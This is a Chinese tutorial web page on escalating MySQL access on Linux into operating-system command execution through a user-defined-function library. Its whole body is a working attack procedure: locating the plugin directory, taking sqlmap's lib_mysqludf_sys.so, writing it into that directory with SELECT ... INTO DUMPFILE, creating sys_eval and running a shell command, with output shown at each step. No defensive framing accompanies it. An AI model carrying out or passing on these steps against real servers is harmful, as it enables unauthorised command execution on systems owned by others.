您的当前位置:首页 --> MYSQL教程 |
Linux利用UDF库实现Mysql提权 |
浏览次数:1346 关键词 ( ) |
环境: 1,得到插件库路径 mysql> show variables like "%plugin%"; +---------------+-----------------------+ | Variable_name | Value | +---------------+-----------------------+ | plugin_dir | /usr/lib/mysql/plugin | +---------------+-----------------------+ 1 row in set (0.00 sec) 2,找对应操作系统的udf库文件 root@bt:~# uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux root@bt:/pentest/database/sqlmap/udf/mysql# ls linux windows root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls 32 64 root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls lib_mysqludf_sys.so 3,利用udf库文件加载函数并执行命令 mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt'; Query OK, 1 row affected (0.04 sec) mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so'; Query OK, 1 row affected (0.04 sec) root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so w _Jv_RegisterClasses 0000000000201788 A __bss_start w __cxa_finalize w __gmon_start__ 0000000000201788 A _edata 0000000000201798 A _end 0000000000001178 T _fini 0000000000000ba0 T _init U fgets U fork U free U getenv 000000000000101a T lib_mysqludf_sys_info 0000000000000da4 T lib_mysqludf_sys_info_deinit 0000000000001047 T lib_mysqludf_sys_info_init U malloc U mmap U pclose U popen U realloc U setenv U strcpy U strncpy 0000000000000dac T sys_bineval 0000000000000dab T sys_bineval_deinit 0000000000000da8 T sys_bineval_init 0000000000000e46 T sys_eval 0000000000000da7 T sys_eval_deinit 0000000000000f2e T sys_eval_init 0000000000001066 T sys_exec 0000000000000da6 T sys_exec_deinit 0000000000000f57 T sys_exec_init 00000000000010f7 T sys_get 0000000000000da5 T sys_get_deinit 0000000000000fea T sys_get_init 000000000000107a T sys_set 00000000000010e8 T sys_set_deinit 0000000000000f80 T sys_set_init U sysconf U system U waitpid 最后,加载函数并执行: mysql> create function sys_eval returns string soname "mysqludf.so"; Query OK, 0 rows affected (0.14 sec) mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | mysql | +--------------------+ 1 row in set (0.04 sec) mysql> select * from mysql.func; +----------+-----+-------------+----------+ | name | ret | dl | type | +----------+-----+-------------+----------+ | sys_eval | 0 | mysqludf.so | function | +----------+-----+-------------+----------+ 1 row in set |
下一条 SQL计算timestamp的差值的方法 上一条 忘记Mysql密码的解决办法小结 |
数千企业与站长的选择,7*24小时稳定运行
了解更多套餐详细